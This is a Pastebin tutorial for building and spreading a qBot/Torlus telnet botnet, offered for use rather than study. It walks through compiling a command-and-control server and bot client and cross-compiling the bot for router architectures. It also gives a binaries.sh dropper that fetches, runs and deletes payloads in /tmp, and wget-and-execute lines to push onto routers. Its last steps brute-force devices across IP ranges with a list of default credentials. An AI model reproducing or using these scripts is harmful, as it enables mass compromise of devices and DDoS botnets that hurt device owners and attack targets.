Zekahs

method unbuntu

Aug 4th, 2017
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.45 KB | None | 0 0
  1.  
  2. In this tutorial I will be showing you how to setup your LizardSquad botnet!
  3. This botnet is actually called qBot / Torlus. You can find the source code HERE but it is heavily crippled.
  4. Thankfully, I will be providing the uncrippled source code.
  5.  
  6. This is NOT IRC or HTTP
  7.  
  8. THIS IS TELNET
  9.  
  10. Requirements:
  11. [+] A VPS or dedi to host your C&C.
  12. [+] A second VPS / dedi capable of scanning for bots.
  13. [+] The ability to think outside the box.
  14. [+] Common sence.
  15.  
  16. ---Lets begin---
  17.  
  18. To start, we will need to get all the proper dependencys.
  19. For CentOS
  20. Code:
  21. yum install gcc nano -y
  22.  
  23. For Debian/Ubuntu
  24. Code:
  25. apt-get install gcc nano -y
  26.  
  27. Once that is completed, you are going to wget the server.c
  28. Code:
  29. wget http://pastebin.com/raw.php?i=Be4G0g85 -O server.c
  30.  
  31. You are now going to edit your server.c to your desired login infomation and login port.
  32. Code:
  33. //Admin-Config
  34. #define MY_MGM_ADMINP "Pass"
  35. #define MY_MGM_ADMINU "User"
  36. #define MY_MGM_PORT 6969
  37.  
  38. Would look like
  39.  
  40. Code:
  41. //Admin-Config
  42. #define MY_MGM_ADMINP "0p#%Ø6x#?+?pl??3R?"
  43. #define MY_MGM_ADMINU "XMPP"
  44. #define MY_MGM_PORT 911
  45.  
  46. Now to compile the server.c it is as simple as
  47. Code:
  48. gcc server.c -o server -pthread
  49.  
  50. ---------------------------------------------
  51.  
  52. Now for the client.c
  53.  
  54. On your server that will be hosting the client files, enter this:
  55. Code:
  56. wget http://pastebin.com/raw.php?i=qkDnzQHX -O client.c
  57.  
  58. Now here comes the most important part.
  59. We will be configuring the client to connect to the P2P server.
  60.  
  61. Edit your client.c
  62. Code:
  63. nano client.c
  64.  
  65. Once you are in, we will find the space for our IP and Port by
  66. pressing CTRL+W and then searching for
  67. Code:
  68. IP:PORT
  69.  
  70. Replace IP:PORT with your C&C server's IP and the port you would
  71. like the bots to be infected on. (DONT USE YOUR MGM PORT)
  72. It would look like this.
  73. Code:
  74. 127.0.0.1:6969
  75.  
  76. The bots would connect on the port 6969 and the C&C will figure that out.
  77.  
  78. While you are still editing your client.c press CTRL+W again and search for
  79. Code:
  80. wget
  81.  
  82. It will bring you to a this line.
  83. Code:
  84. cd /tmp && wget http://IP/binaries.sh && chmod +x binaries.sh && sh binaries.sh && rm -f binaries.sh
  85.  
  86. Now replace the IP with your httpd server IP
  87. Code:
  88. cd /tmp && wget http://127.0.0.1/binaries.sh && chmod +x binaries.sh && sh binaries.sh && rm -f binaries.sh\r\n
  89.  
  90. Now repeat this by pressing CTRL+W and searching for wget again and so forth.
  91.  
  92. ---------------------------------------------
  93.  
  94. Finally, we will compile our client.c for multiple router archatectures.
  95.  
  96. Here is a sh script coded to automatically compile for all archatectures.
  97.  
  98. CentOS
  99. Code:
  100. #!/bin/bash
  101.  
  102. ### CONFIG ###
  103. mips="prefixmips"
  104. arm5="prefixarm5"
  105. mipsel="prefixmipsel"
  106. sh4="prefixsh4"
  107. ppc="prefixppc"
  108. i686="prefixi686"
  109. m68="prefixm68"
  110. arm4="prefixarm4"
  111. ##############
  112.  
  113. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  114. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  115. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  116. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  117. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  118. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
  119. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  120. wget http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  121.  
  122. tar -xf cross-compiler-armv5l.tar.bz2
  123. tar -xf cross-compiler-mips.tar.bz2
  124. tar -xf cross-compiler-mipsel.tar.bz2
  125. tar -xf cross-compiler-powerpc.tar.bz2
  126. tar -xf cross-compiler-sh4.tar.bz2
  127. tar -xf cross-compiler-i686.tar.bz2
  128. tar -xf cross-compiler-m68k.tar.bz2
  129. tar -xf cross-compiler-armv4l.tar.bz2
  130.  
  131. ./cross-compiler-armv5l/bin/armv5l-gcc -o /var/www/html/${arm5} /var/www/html/client.c -pthread
  132. ./cross-compiler-armv4l/bin/armv4l-gcc -o /var/www/html/${arm4} /var/www/html/client.c -pthread
  133. ./cross-compiler-mips/bin/mips-gcc -o /var/www/html/${mips} /var/www/html/client.c -pthread
  134. ./cross-compiler-sh4/bin/sh4-gcc -o /var/www/html/${sh4} /var/www/html/client.c -pthread
  135. ./cross-compiler-powerpc/bin/powerpc-gcc -o /var/www/html/${ppc} /var/www/html/client.c -pthread
  136. ./cross-compiler-m68k/bin/m68k-gcc -o /var/www/html/${m68k} /var/www/html/client.c -pthread
  137. ./cross-compiler-mipsel/bin/mipsel-gcc -o /var/www/html/${mipsel} /var/www/html/client.c -pthread
  138. ./cross-compiler-i686/bin/i686-gcc -o /var/www/html/${i686} /var/www/html/client.c -pthread
  139.  
  140. Once that has finished.
  141.  
  142. Here is a binaries.sh I have made for the downloading and execution of the compiled files
  143. Code:
  144. #!/bin/bash
  145.  
  146. #####CONFIG#####
  147. mips="prefixmips"
  148. arm5="prefixarm5"
  149. mipsel="prefixmipsel"
  150. sh4="prefixsh4"
  151. ppc="prefixppc"
  152. i686="prefixi686"
  153. m68="prefixm68"
  154. arm4="prefixarm4"
  155. ################
  156.  
  157. ######WGET######
  158. cd /tmp
  159. wget --quiet http://IP/${mips}
  160. wget --quiet http://IP/${mipsel}
  161. wget --quiet http://IP/${arm4}
  162. wget --quiet http://IP/${arm5}
  163. wget --quiet http://IP/${sh4}
  164. wget --quiet http://IP/${ppc}
  165. wget --quiet http://IP/${i686}
  166. ################
  167.  
  168. #####CH MOD#####
  169. chmod +x ${mips}
  170. chmod +x ${mipsel}
  171. chmod +x ${arm4}
  172. chmod +x ${arm5}
  173. chmod +x ${sh4}
  174. chmod +x ${ppc}
  175. chmod +x ${i686}
  176. ################
  177.  
  178. ######EXEC######
  179. ./${mips}
  180. ./${mipsel}
  181. ./${arm4}
  182. ./${arm5}
  183. ./${sh4}
  184. ./${ppc}
  185. ./${i686}
  186. ################
  187.  
  188. #####REMOVE#####
  189. rm -rf *
  190. ################
  191.  
  192. Be sure the IP in 'http://IP/' is the same as the one used in your client.c
  193.  
  194. Now all you need to do is put the binaries.sh into your /var/www/html and wget it
  195. onto some routers. An example of how to would be like this.
  196. Code:
  197. wget http://127.0.0.1/binaries.sh ; chmod +x binaries.sh ; sh binaries.sh ; rm -f binaries.sh
  198.  
  199. NOW FOR THE BRUTING AND SCANNING PART TO GET THE BOTS IN THE TELNET
  200. SCANNING AND BRUTING
  201. FIRST THING U NEED BEFORE DOING IT
  202.  
  203. 1.https://www.dropbox.com/s/atei8k7zcxh35z9/router.zip AND A SERVER WITH eth0 cant use venet0:0
  204.  
  205. 2. yum install cpan gcc libssh2-devel nano -y
  206.  
  207. 3. cpan fi Net::SSH2 then cpan -fi Parallel::ForkManager
  208.  
  209. 4. NOW EDIT THE router.pl to your Binarys.sh link
  210.  
  211. 5. Now run ./ss 22 -a ip range -i eth0 -s 10 wait tell it reaches ip.255
  212.  
  213. 6. now nano pass_file and copy these in it
  214.  
  215. root root root admin pi raspberry admin admin root 12345 admin 12345 root 123456 root password root test admin 123456
  216.  
  217. 7. type this then cat bios.txt |sort | uniq > mfu.txt run ./update 2000
  218.  
  219. let that finish then run the ./filter
  220.  
  221. then type perl router.pl final.txt
Advertisement
Add Comment
Please, Sign In to add comment